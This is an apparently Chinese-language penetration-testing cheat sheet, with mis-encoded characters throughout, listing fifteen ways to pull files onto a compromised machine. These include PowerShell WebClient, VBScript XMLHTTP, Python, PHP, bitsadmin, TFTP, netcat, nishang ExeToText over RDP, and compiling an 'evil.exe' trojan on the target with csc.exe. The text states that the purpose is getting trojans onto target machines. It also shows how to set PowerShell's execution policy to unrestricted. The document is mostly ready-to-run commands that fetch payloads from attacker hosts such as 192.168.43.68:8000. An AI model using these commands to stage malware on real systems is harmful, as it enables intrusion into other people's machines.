0x01 PowerShell 文件下載
$p = new-object system.net.webclient
$p.downloadfile("http://xx.xx.xx.xx\file","c:\xxx\xx\file")

當(dāng)然也可以直接將上面語句寫入到一個(gè)腳本中,比如test.ps1
然后powershell window中
.test.ps1
執(zhí)行。
當(dāng)然,默認(rèn)情況下是無法執(zhí)行powershell腳本的,需要在管理員權(quán)限下修改配置
powershell set-executionpolicy unrestricted
0x02 Visual Basic 文件下載
Set args = Wscript.Arguments
Url = "http://192.168.43.68:8000/1.py"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\users\pino\file\1.py", 2 '
end with
將上述代碼保存在test.vbs
然后使用
cscript test.vbs
執(zhí)行文件下載
0x03 Perl 文件下載
perl -MLWP::Simple -e 'getstore ("http://www.163.com/","163.html")'
0x04 Python 文件下載
python -c "import urllib2;u=urllib2.urlopen("http://xx.xxx.xx/1.py");localfile=open('c:\users\pino\file\1.py','w');localfile.write(u.read());localfile.close();"
0x05 Ruby 文件下載
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
0x06 PHP 文件下載
<?
$data = @file("http://xx.xx.xx/1.py");
$f = fopen("c:\users\pino\1.py", "w");
fwrite($f, $data[0]);
fclose($f);
?>
0x07 FTP文件下載
我們可以將想要執(zhí)行的命令先寫入一個(gè)txt中,然后用ftp命令就好了
1.txt
open 127.0.0.1
user_name
user_pass
get file(文件名)
quit
然后在命令行中執(zhí)行
ftp -i -s:1.txt

0x08 TFTP 文件下載
windows7 下默認(rèn)是沒有tftp的,可以WIN+R,然后輸入appwiz.cpl,點(diǎn)擊左側(cè)的打開或關(guān)閉windows功能后,選中TFTP客戶端即可啟用TFTP客戶端。
tftp -i host(本地的,這里可以是127.0.0.1) GET c:\users\pino\1.py(用于保存在本地的文件名) xxx.xx.xxx.xxx\1.py(遠(yuǎn)程tftp服務(wù)器上的文件)
0x09 bitsadmin 文件下載
bitsadmin是windows下的一個(gè)命令行工具
bitsadmin /transfer name(這個(gè)隨便寫,是任務(wù)名稱) http://192.168.43.68:8000/1.py c:\users\pino\1.py

0xA Wget 文件下載
wget http://192.168.43.68:8000/1.py
0xB netcat 文件下載
攻擊者在linux下輸入命令
cat file|nc -l 1234
這樣把文件file的內(nèi)容重定向到了攻擊者的1234端口,無論誰訪問攻擊者的ip的這個(gè)端口,都能下載到文件了
nc host_ip 1234 > file
0xC Windows 共享 文件下載
net use x: \\192.156.1.17\temp$ "password" /user:username
$符號(hào)這里是在本地隱藏,寫不寫都行
0x0D Notepad 文件下載
這個(gè)姿勢(shì)很神奇。
首先打開notepad,就是我們常說的記事本,點(diǎn)擊文件-》打開,在文件名稱內(nèi)輸入完整的URL,回合,就會(huì)發(fā)現(xiàn)記事本中的內(nèi)容就是我們?cè)L問的URL的文本內(nèi)容。
0x0E 使用powershell nishang 進(jìn)行文件下載
nishang 是一個(gè)很不錯(cuò)的powershell滲透框架,在github上能夠找到,里面有很多實(shí)用的滲透腳本,這里我們可以用ExeToText腳本,將想要下載的exe文件轉(zhuǎn)換成txt,在用記事本打開,然后復(fù)制其中的內(nèi)容,通過rdp剪貼板復(fù)制到目標(biāo)機(jī)器上的txt文本,再通過TextToExe腳本轉(zhuǎn)換為exe就好了。
0x0F 實(shí)用csc工具實(shí)現(xiàn)類文件下載
通常在滲透的過程中我們下載是為了將我們的木馬傳到目標(biāo)機(jī)器上,因此我們可以另轉(zhuǎn)思路,將木馬的源碼寫好,直接在目標(biāo)及其上編譯就好了。在Windows下,c的編譯器默認(rèn)是在C:\Windows\Microsoft.NET\framework\version,version的話,不同位數(shù)的機(jī)器不一樣,看情況而定,里面的csc.exe就是了。使用下面的命令
csc.exe /out:c:\users\pino\evil.exe c:\users\pino\evil.c